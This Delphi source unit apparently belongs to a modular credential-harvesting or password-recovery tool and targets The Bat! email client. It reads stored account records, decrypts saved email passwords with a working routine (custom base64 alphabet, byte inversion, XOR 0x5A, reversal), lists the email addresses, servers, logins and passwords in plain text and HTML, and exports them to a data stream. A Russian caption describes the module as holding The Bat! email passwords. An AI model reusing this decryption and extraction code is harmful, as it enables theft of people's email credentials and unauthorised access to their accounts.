unit Mod_TheBat;

interface

uses
  Windows, SysUtils, ComCtrls, Classes, Mod_Common, xBase;

type
  PTBAccountItem = ^TTBAccountItem;
  TTBAccountItem = record
    Email: String;
    Server: String;
    Password: String;
    User: String;
  end;

  TModuleTheBat = class(TModule)
  private
    procedure FreeAccountList;
    function DecryptPass(const Password: String): String;
    procedure RemoveDupes;
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;
  public
    AccountList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;    
  end;


implementation

const
  TYPE_TB_EMAIL		  = 0;
  TYPE_TB_PASS	          = 1;
  TYPE_TB_SERV		  = 2;
  TYPE_TB_USER		  = 3;
  TYPE_TB_NEW             = 4;

{ TModuleSysInfo }

destructor TModuleTheBat.Destroy;
begin
  FreeAccountList;
  inherited;
end;

procedure TModuleTheBat.FreeAccountList;
var
  i: Integer;
begin
  if AccountList = nil then Exit;
  for i := 0 to AccountList.Count-1 do begin
    PTBAccountItem(AccountList.Items[i]).Email := '';
    PTBAccountItem(AccountList.Items[i]).Server := '';
    PTBAccountItem(AccountList.Items[i]).Password := '';
    PTBAccountItem(AccountList.Items[i]).User := '';
    Dispose(AccountList.Items[i]);
  end;
  AccountList.Free;
end;

function TModuleTheBat.DecryptPass(const Password: String): String;
  const
    b64alphabet2: String = '+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

  function DecodeBaseTB(Value: String): String;
    function DecodeChunk(const Chunk: String): String;
    var
      W: LongWord;
      i, j: Integer;
    begin
      W := 0; Result := '';
      j := 3;
      for i := 1 to 4 do
        if Pos(Chunk[i], b64alphabet2) <> 0 then
          W := W + Byte((Pos(Chunk[i], b64alphabet2) - 1)) shl ((4 - i) * 6)
        else
          Dec(j);
      for i := 1 to j do
        Result := Result + Chr(W shr ((3 - i) * 8) and $ff);
    end;
  begin
    Result := '';
    if Length(Value) mod 4 <> 0 then Exit;
    while Length(Value) > 0 do begin
      Result := Result + DecodeChunk(Copy(Value, 0, 4));
      Delete(Value, 1, 4);
    end;
  end;
var
  S: String;
  i: Integer;
  Len: Integer;
begin
  Result := '';
  S := DecodeBaseTB(Password);          // First decryption stage
  if Length(S) < 4 then Exit;           // Empty password
  for i := 1 to 4 do
    S[i] := Chr($FF - Ord(S[i]));       // Decrypt pass length
  Len := PDWord(@S[1])^;
  Delete(S, 1, 4);
  for i := 1 to Length(S) do
    S[i] := Chr(Ord(S[i]) xor $5A);     // Second decryption stage
  Result := '';
  for i := Len downto 1 do              // Third decryption stage
    Result := Result + S[i];
end;


procedure TModuleTheBat.Run;
var
  DataItem: TDataItem;
  P: PTBAccountItem;
begin
  inherited;

  AccountList := TList.Create;
  P := nil;

  while HasMoreData do begin
    DataItem := ReadData;

    case DataItem.cType of
      TYPE_TB_EMAIL: begin
        New(P);
        P.Email := DataItem.Data;
        AccountList.Add(P);
      end;
      TYPE_TB_SERV: if P <> nil then
        P.Server := DataItem.Data;
      TYPE_TB_USER: if P <> nil then
        P.User := DecryptPass(DataItem.Data);
      TYPE_TB_PASS: if P <> nil then
        P.Password := DecryptPass(DataItem.Data);
      TYPE_TB_NEW: begin
        case DataItem.cSubtype of
          // Email
          $00008159: begin
            New(P); P.Email := DataItem.Data;
            AccountList.Add(P);
          end;
          // Server
          $00008179: if P <> nil then
            P.Server := DataItem.Data;
          // Login
          $000081A7: if P <> nil then
            P.User := DecryptPass(DataItem.Data);
          // Password
          $000081A6: if P <> nil then
            P.Password := DecryptPass(DataItem.Data);
          else begin
            FError := ERR_UNK_ITEM;
            Exit;
          end;
        end;
      end;
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;

  RemoveDupes;
end;

procedure TModuleTheBat.RemoveDupes;
var
  i, j: Integer;
  Pi, Pj: PTBAccountItem;
begin
  if AccountList = nil then Exit;
  i := 0;
  while i < AccountList.Count do begin
    Pi := AccountList.Items[i];  
    j := i+1;
    while j < AccountList.Count do begin
      Pj := AccountList.Items[j];
      
      if ((Pi.Email = Pj.Email) and (Pi.Server = Pj.Server) and (Pi.Password = Pj.Password) and
         (Pi.User = Pj.User)) or ((Pj.Email = '') and (Pj.Server = '') and (Pj.Password = '') and (Pj.User = '')) then begin
           // Dupe detected
           AccountList.Delete(j);
           Pj.Email := '';
           Pj.Server := '';
           Pj.Password := '';
           Pj.User := '';
           Dispose(Pj);
           j := j - 1;
         end;
      j := j + 1;
    end;
    i := i + 1;
  end;
end;

function TModuleTheBat.GetAsText: String;
var
  i: Integer;
begin
  Result := '';
  
  for i := 0 to AccountList.Count-1 do begin
    Result := Result + 'Email: ' + PTBAccountItem(AccountList.Items[i]).Email + #13#10;
    Result := Result + 'Server: ' + PTBAccountItem(AccountList.Items[i]).Server + #13#10;
    Result := Result + 'User: ' + PTBAccountItem(AccountList.Items[i]).User + #13#10;
    Result := Result + 'Password: ' + PTBAccountItem(AccountList.Items[i]).Password + #13#10;
    Result := Result + #13#10;
  end;
end;

procedure TModuleTheBat.GetAsTree;
var
  i: Integer;
begin
  inherited;
  
  Append(ModuleName, 'Этот модуль содержит e-mail пароли The Bat! и The Bat! 2<br>Сайт производителя: <a href="http://www.ritlabs.com" >http://www.ritlabs.com</a>', ICON_FOLDER);
  MoveIn;
  for i := 0 to AccountList.Count-1 do
    Append(PTBAccountItem(AccountList.Items[i]).Email, GenHTMLList(['Email: ' + PTBAccountItem(AccountList.Items[i]).Email, 'Server: ' + PTBAccountItem(AccountList.Items[i]).Server, 'User: ' + PTBAccountItem(AccountList.Items[i]).User, 'Password: ' + PTBAccountItem(AccountList.Items[i]).Password]), ICON_THE_BAT);
  MoveOut;
end;

class function TModuleTheBat.GetModuleName: String;
begin
  Result := 'The Bat!';
end;

class function TModuleTheBat.GetModuleID: Integer;
begin
  Result := MODULE_THE_BAT;
end;

class function TModuleTheBat.GetModuleVersion: Integer;
begin
  Result := 0;
end;

function TModuleTheBat.GetIsEmpty: Boolean;
begin
  Result := AccountList.Count = 0;
end;

procedure TModuleTheBat.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  ExportData([AccountList.Count]);
  for i := 0 to AccountList.Count-1 do
    with PTBAccountItem(AccountList.Items[i])^ do
      ExportData([Email, Server, Password, User]);
end;

procedure TModuleTheBat.ImportModule;
var
  i: Integer;
  P: PTBAccountItem;
begin
  inherited;

  AccountList := TList.Create;
  for i := 0 to ImportData-1 do begin
    New(P);
    with P^ do begin
      Email := ImportData;
      Server := ImportData;
      Password := ImportData;
      User := ImportData;
    end;
    AccountList.Add(P);
  end;
end;


end.
